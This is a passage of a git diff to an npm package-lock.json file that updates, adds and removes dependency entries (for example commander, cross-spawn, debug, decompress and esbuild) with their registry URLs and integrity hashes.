"sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", "dev": true, "requires": { - "color-name": "~1.1.4" + "delayed-stream": "~1.0.0" } }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "commander": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz", - "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==", + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", "dev": true }, + "compress-commons": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz", + "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==", + "requires": { + "crc-32": "^1.2.0", + "crc32-stream": "^6.0.0", + "is-stream": "^2.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "dependencies": { + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==" + }, + "readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "requires": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + } + } + }, "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true }, "console-control-strings": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", + "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", + "dev": true + }, + "constant-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/constant-case/-/constant-case-3.0.4.tgz", + "integrity": "sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case": "^2.0.2" + } + }, + "convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", "dev": true }, "core-util-is": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", - "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", - "dev": true + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==" + }, + "crc32-stream": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-6.0.0.tgz", + "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==", + "requires": { + "crc-32": "^1.2.0", + "readable-stream": "^4.0.0" + }, + "dependencies": { + "buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "requires": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + } + } }, "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", - "dev": true, + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", "requires": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", @@ -4514,19 +15553,72 @@ "nth-check": "^2.0.0" } }, + "css-tree": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.1.0.tgz", + "integrity": "sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==", + "dev": true, + "requires": { + "mdn-data": "2.12.2", + "source-map-js": "^1.0.1" + } + }, "css-what": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.1.0.tgz", "integrity": "sha512-arSMRWIIFY0hV8pIxZMEfmMI47Wj3R/aWpZDDxWYCPEiOMv6tfOrnpDtgxBYPEQD4V0Y/958+1TdC3iWTFcUPw==", "dev": true }, + "csso": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz", + "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", + "dev": true, + "requires": { + "css-tree": "~2.2.0" + }, + "dependencies": { + "css-tree": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz", + "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", + "dev": true, + "requires": { + "mdn-data": "2.0.28", + "source-map-js": "^1.0.1" + } + }, + "mdn-data": { + "version": "2.0.28", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz", + "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", + "dev": true + } + } + }, + "cubic2quad": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/cubic2quad/-/cubic2quad-1.2.1.tgz", + "integrity": "sha512-wT5Y7mO8abrV16gnssKdmIhIbA9wSkeMzhh27jAguKrV82i24wER0vL5TGhUJ9dbJNDcigoRZ0IAHFEEEI4THQ==", + "dev": true + }, + "d": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz", + "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==", + "dev": true, + "requires": { + "es5-ext": "^0.10.64", + "type": "^2.7.2" + } + }, "debug": { - "version": "4.3.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz", - "integrity": "sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q==", + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", "dev": true, "requires": { - "ms": "2.1.2" + "ms": "^2.1.3" } }, "decamelize": { @@ -4535,20 +15627,156 @@ "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", "dev": true }, - "decompress-response": { + "decompress": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-4.2.1.tgz", - "integrity": "sha512-jOSne2qbyE+/r8G1VU+G/82LBs2Fs4LAsTiLSHOCOMZQl2OKZ6i8i4IyHemTe+/yIXOtTcRQMzPcgyhoFlqPkw==", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "dev": true, + "requires": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "dependencies": { + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "dev": true, + "requires": { + "pify": "^3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==", + "dev": true + } + } + } + } + }, + "decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "optional": true, + "requires": { + "mimic-response": "^3.1.0" + } + }, + "decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "dev": true, + "requires": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "dependencies": { + "bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "dev": true, + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "dev": true, + "requires": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + } + } + } + }, + "decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "dev": true, + "requires": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "dependencies": { + "file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==", + "dev": true + } + } + }, + "decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "dev": true, + "requires": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + } + }, + "decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha512-1fqeluvxgnn86MOh66u8FjbtJpAFv5wgCT9Iw8rcBqQcCo5tO8eiJw7NNTrvt9n4CRBVq7CstiS922oPgyGLrw==", + "dev": true, + "requires": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "dependencies": { + "file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha512-RLoqTXE8/vPmMuTI88DAzhMYC99I8BWv7zYP4A1puo5HIjEJ5EX48ighy4ZyKMG9EDXxBgW6e++cn7d1xuFghA==", + "dev": true + } + } + }, + "deep-eql": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.4.tgz", + "integrity": "sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg==", "dev": true, "requires": { - "mimic-response": "^2.0.0" + "type-detect": "^4.0.0" } }, "deep-extend": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - "dev": true + "dev": true, + "optional": true }, "deep-is": { "version": "0.1.4", @@ -4556,33 +15784,88 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "requires": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + } + }, + "define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true + }, + "del": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/del/-/del-8.0.1.tgz", + "integrity": "sha512-gPqh0mKTPvaUZGAuHbrBUYKZWBNAeHG7TU3QH5EhVwPMyKvmfJaNXhcD2jTcXsJRRcffuho4vaYweu80dRrMGA==", + "dev": true, + "requires": { + "globby": "^14.0.2", + "is-glob": "^4.0.3", + "is-path-cwd": "^3.0.0", + "is-path-inside": "^4.0.0", + "p-map": "^7.0.2", + "presentable-error": "^0.0.1", + "slash": "^5.1.0" + }, + "dependencies": { + "is-path-inside": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-4.0.0.tgz", + "integrity": "sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA==", + "dev": true + } + } + }, + "del-cli": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/del-cli/-/del-cli-7.0.0.tgz", + "integrity": "sha512-fRl4pWJYu9WFQH8jXdQUYvcD0IMtij9WEc7qmB7xOyJEweNJNuE7iKmqNeoOT1DbBUjtRjxlw8Y63qKBI/NQ1g==", + "dev": true, + "requires": { + "del": "^8.0.1", + "meow": "^14.0.0", + "presentable-error": "^0.0.1" + } + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true + }, "delegates": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", - "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", + "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", "dev": true }, - "detect-libc": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", - "integrity": "sha1-+hN8S9aY7fVc1c0CrFWfkaTEups=", + "deprecation": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", + "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==", "dev": true }, + "detect-libc": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.1.tgz", + "integrity": "sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w==", + "dev": true, + "optional": true + }, "diff": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", - "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.2.tgz", + "integrity": "sha512-sSuxWU5j5SR9QQji/o2qMvqRNYRDOcBTgsJ/DeCf4iSN4gW+gNMXM7wFIP+fdXZxoNiAnHUTGjCr+TSWXdRDKg==", "dev": true }, - "dir-glob": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", - "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", - "dev": true, - "requires": { - "path-type": "^4.0.0" - } - }, "doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", @@ -4604,9 +15887,9 @@ } }, "domelementtype": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", - "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", "dev": true }, "domhandler": { @@ -4629,21 +15912,71 @@ "domhandler": "^4.2.0" } }, - "duplexer2": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", - "integrity": "sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=", + "dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dev": true, + "requires": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + } + }, + "eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==" + }, + "ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "dev": true, + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "editions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz", + "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==", "dev": true, "requires": { - "readable-stream": "^2.0.2" + "version-range": "^4.15.0" } }, "emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "enabled": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz", + "integrity": "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==", "dev": true }, + "encoding": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", + "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", + "dev": true, + "optional": true, + "requires": { + "iconv-lite": "^0.6.2" + } + }, "end-of-stream": { "version": "1.4.4", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", @@ -4653,13 +15986,14 @@ "once": "^1.4.0" } }, - "enquirer": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", - "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "enhanced-resolve": { + "version": "5.18.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.3.tgz", + "integrity": "sha512-d4lC8xfavMeBjzGr2vECC3fsGXziXZQyJxD868h2M/mBI3PwAuODxAkLkq5HYuvrPYcUtiLzsTo8U3PgX3Ocww==", "dev": true, "requires": { - "ansi-colors": "^4.1.1" + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" } }, "entities": { @@ -4668,154 +16002,140 @@ "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", "dev": true }, - "esbuild": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.14.5.tgz", - "integrity": "sha512-ofwgH4ITPXhkMo2AM39oXpSe5KIyWjxicdqYVy+tLa1lMgxzPCKwaepcrSRtYbgTUMXwquxB1C3xQYpUNaPAFA==", - "dev": true, - "requires": { - "esbuild-android-arm64": "0.14.5", - "esbuild-darwin-64": "0.14.5", - "esbuild-darwin-arm64": "0.14.5", - "esbuild-freebsd-64": "0.14.5", - "esbuild-freebsd-arm64": "0.14.5", - "esbuild-linux-32": "0.14.5", - "esbuild-linux-64": "0.14.5", - "esbuild-linux-arm": "0.14.5", - "esbuild-linux-arm64": "0.14.5", - "esbuild-linux-mips64le": "0.14.5", - "esbuild-linux-ppc64le": "0.14.5", - "esbuild-netbsd-64": "0.14.5", - "esbuild-openbsd-64": "0.14.5", - "esbuild-sunos-64": "0.14.5", - "esbuild-windows-32": "0.14.5", - "esbuild-windows-64": "0.14.5", - "esbuild-windows-arm64": "0.14.5" - } - }, - "esbuild-android-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-android-arm64/-/esbuild-android-arm64-0.14.5.tgz", - "integrity": "sha512-Sl6ysm7OAZZz+X3Mv3tOPhjMuSxNmztgoXH4ZZ3Yhbje5emEY6qiTnv3vBSljDlUl/yGaIjqC44qlj8s8G71xA==", - "dev": true, - "optional": true - }, - "esbuild-darwin-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-darwin-64/-/esbuild-darwin-64-0.14.5.tgz", - "integrity": 